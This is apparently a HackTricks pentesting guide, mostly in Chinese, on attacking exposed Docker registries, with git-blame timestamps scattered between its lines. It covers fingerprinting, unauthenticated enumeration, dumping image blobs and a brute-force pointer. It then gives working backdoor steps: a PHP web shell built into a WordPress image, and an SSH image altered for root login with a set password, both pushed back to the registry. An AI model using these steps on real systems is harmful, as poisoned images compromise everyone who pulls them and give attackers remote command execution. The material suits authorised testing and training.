2024-04-06 18:13:07 +00:00
# 5000 - Pentesting Docker Registry
2022-04-28 16:01:33 +00:00
2024-07-19 05:18:31 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 05:18:31 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 05:18:31 +00:00
< summary > Support HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 05:18:31 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 05:18:31 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
## 基本信息
2021-01-03 00:43:09 +00:00
2024-07-19 05:18:31 +00:00
一个被称为 **Docker registry** 的存储和分发系统用于 Docker 镜像,这些镜像有名称并且可能有多个版本,通过标签区分。这些镜像在注册表中的 **Docker repositories** 中组织,每个仓库存储特定镜像的不同版本。提供的功能允许用户在拥有必要权限的情况下将镜像下载到本地或上传到注册表。
2021-01-03 00:43:09 +00:00
2024-07-19 05:18:31 +00:00
**DockerHub** 是 Docker 的默认公共注册表,但用户也可以选择操作开源 Docker registry/distribution 的本地版本,或选择商业支持的 **Docker Trusted Registry** 。此外,在线上还可以找到各种其他公共注册表。
2024-04-06 18:13:07 +00:00
2024-07-19 05:18:31 +00:00
要从本地注册表下载镜像,可以使用以下命令:
2024-02-08 22:23:24 +00:00
```bash
2021-01-03 00:43:09 +00:00
docker pull my-registry:9000/foo/bar:2.1
```
2024-07-19 05:18:31 +00:00
此命令从位于 `my-registry` 域的本地注册表的 `9000` 端口获取 `foo/bar` 镜像版本 `2.1` 。相反,要从 DockerHub 下载相同的镜像,特别是如果 `2.1` 是最新版本,则命令简化为:
2024-02-08 22:23:24 +00:00
```bash
2021-01-03 00:43:09 +00:00
docker pull foo/bar
```
2024-07-19 05:18:31 +00:00
**默认端口:** 5000
2021-10-18 11:21:18 +00:00
```
2021-01-03 00:43:09 +00:00
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
2023-08-03 19:12:22 +00:00
## 发现
2021-01-03 00:43:09 +00:00
2024-07-19 05:18:31 +00:00
发现此服务运行的最简单方法是通过 nmap 的输出获取它。无论如何,请注意,由于它是基于 HTTP 的服务,它可能位于 HTTP 代理后面, nmap 将无法检测到它。\
2023-08-03 19:12:22 +00:00
一些指纹:
2021-01-03 00:43:09 +00:00
2024-07-19 05:18:31 +00:00
* 如果你访问 `/` ,则响应中不会返回任何内容
* 如果你访问 `/v2/` ,则返回 `{}`
* 如果你访问 `/v2/_catalog` ,你可能会获得:
2024-04-06 18:13:07 +00:00
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
2021-01-03 00:43:09 +00:00
2023-08-03 19:12:22 +00:00
## 枚举
2021-01-03 00:43:09 +00:00
2022-05-01 13:25:53 +00:00
### HTTP/HTTPS
2021-01-03 00:43:09 +00:00
2024-07-19 05:18:31 +00:00
Docker registry 可能被配置为使用 **HTTP** 或 **HTTPS** 。因此,您可能需要做的第一件事是 **找出哪一个** 被配置:
2021-01-03 00:43:09 +00:00
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
2023-08-03 19:12:22 +00:00
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
2021-01-03 00:43:09 +00:00
Warning: < FILE > " to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
2024-07-19 05:18:31 +00:00
### Authentication
2024-04-06 18:13:07 +00:00
2024-07-19 05:18:31 +00:00
Docker registry 也可以配置为需要 **authentication** :
2021-01-03 00:43:09 +00:00
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
2024-07-19 05:18:31 +00:00
如果 Docker Registry 需要身份验证,您可以[ **尝试使用此方法进行暴力破解** ](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\
**如果您找到有效的凭据,您将需要使用它们** 来枚举注册表,在 `curl` 中,您可以这样使用它们:
2021-01-03 00:43:09 +00:00
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
2024-02-09 12:48:25 +00:00
### 使用 DockerRegistryGrabber 进行枚举
2021-01-03 00:43:09 +00:00
2024-07-19 05:18:31 +00:00
[DockerRegistryGrabber ](https://github.com/Syzik/DockerRegistryGrabber ) 是一个 Python 工具,用于枚举 / 转储 Docker 注册表(无或带基本身份验证)
2021-12-13 00:07:45 +00:00
```bash
2024-03-26 09:10:07 +00:00
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_ | |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --list
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --dump_all
2021-12-13 00:07:45 +00:00
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
2024-03-26 09:10:07 +00:00
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
[+] Dumping my-ubuntu
2023-08-03 19:12:22 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2024-03-26 09:10:07 +00:00
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
2024-03-26 09:10:07 +00:00
[+] Dumping my-ubuntu
2023-08-03 19:12:22 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 00:07:45 +00:00
[+] blobSum found 5
2024-03-26 09:10:07 +00:00
[+] Dumping my-ubuntu2
2023-08-03 19:12:22 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
2021-12-13 00:07:45 +00:00
```
2024-07-19 05:18:31 +00:00
### 使用 curl 进行枚举
2024-04-06 18:13:07 +00:00
2024-07-19 05:18:31 +00:00
一旦你**获得了对 docker registry 的访问**,以下是一些可以用来枚举的命令:
2021-01-03 00:43:09 +00:00
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
2023-08-03 19:12:22 +00:00
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
2021-01-03 00:43:09 +00:00
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
2024-01-05 23:03:10 +00:00
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
2021-01-03 00:43:09 +00:00
{% hint style="warning" %}
2024-07-19 05:18:31 +00:00
注意,当您下载并解压缩 blobs 文件和文件夹时,它们将出现在当前目录中。**如果您下载所有 blobs 并在同一文件夹中解压缩,它们将覆盖先前解压缩的 blobs 的值**,因此请小心。将每个 blob 解压缩到不同的文件夹中以检查每个 blob 的确切内容可能会很有趣。
2021-01-03 00:43:09 +00:00
{% endhint %}
2024-07-19 05:18:31 +00:00
### 使用 docker 进行枚举
2021-01-03 00:43:09 +00:00
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
2023-08-03 19:12:22 +00:00
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
2021-01-03 00:43:09 +00:00
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
2024-07-19 05:18:31 +00:00
### Backdooring WordPress image
2024-04-06 18:13:07 +00:00
2024-07-19 05:18:31 +00:00
在您找到一个保存 WordPress 镜像的 Docker Registry 的情况下,您可以对其进行后门植入。\
2024-02-08 22:23:24 +00:00
**创建**后门:
2021-01-03 00:43:09 +00:00
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
2024-01-05 23:03:10 +00:00
{% endcode %}
2024-07-19 05:18:31 +00:00
创建一个 **Dockerfile** :
2021-01-03 00:43:09 +00:00
{% code title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
2024-07-19 05:18:31 +00:00
{% endcode %}
2024-04-06 18:13:07 +00:00
2024-07-19 05:18:31 +00:00
**创建**新镜像,**检查**它是否已创建,并**推送**它:
2021-01-03 00:43:09 +00:00
```bash
2021-12-13 00:07:45 +00:00
docker build -t 10.10.10.10:5000/wordpress .
2023-08-03 19:12:22 +00:00
#Create
2021-01-03 00:43:09 +00:00
docker images
docker push registry:5000/wordpress #Push it
```
2024-07-19 05:18:31 +00:00
### Backdooring SSH server image
2024-04-06 18:13:07 +00:00
2024-07-19 05:18:31 +00:00
假设你发现了一个带有SSH镜像的Docker Registry, 并且你想要对其进行后门植入。\
2024-02-08 22:23:24 +00:00
**下载**该镜像并**运行**它:
2021-01-03 00:43:09 +00:00
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
2024-07-19 05:18:31 +00:00
从 SSH 镜像中提取 `sshd_config` 文件:
2021-01-03 00:43:09 +00:00
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
2024-07-19 05:18:31 +00:00
并将其修改为设置:`PermitRootLogin yes`
2024-04-06 18:13:07 +00:00
2024-07-19 05:18:31 +00:00
创建一个 **Dockerfile** ,如下所示:
2021-01-03 00:43:09 +00:00
2024-07-19 05:18:31 +00:00
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
2024-04-06 18:13:07 +00:00
2024-07-19 05:18:31 +00:00
**创建**新镜像,**检查**它是否已创建,并**推送**它:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## 参考文献
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ ](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ )
2024-04-06 18:13:07 +00:00
2024-07-19 05:18:31 +00:00
{% hint style="success" %}
学习与实践 AWS Hacking: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
学习与实践 GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2024-02-08 22:23:24 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-07-19 05:18:31 +00:00
< summary > 支持 HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 05:18:31 +00:00
* 查看 [**订阅计划** ](https://github.com/sponsors/carlospolop )!
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**telegram 群组** ](https://t.me/peass ) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 仓库提交 PR 来分享黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 05:18:31 +00:00
{% endhint %}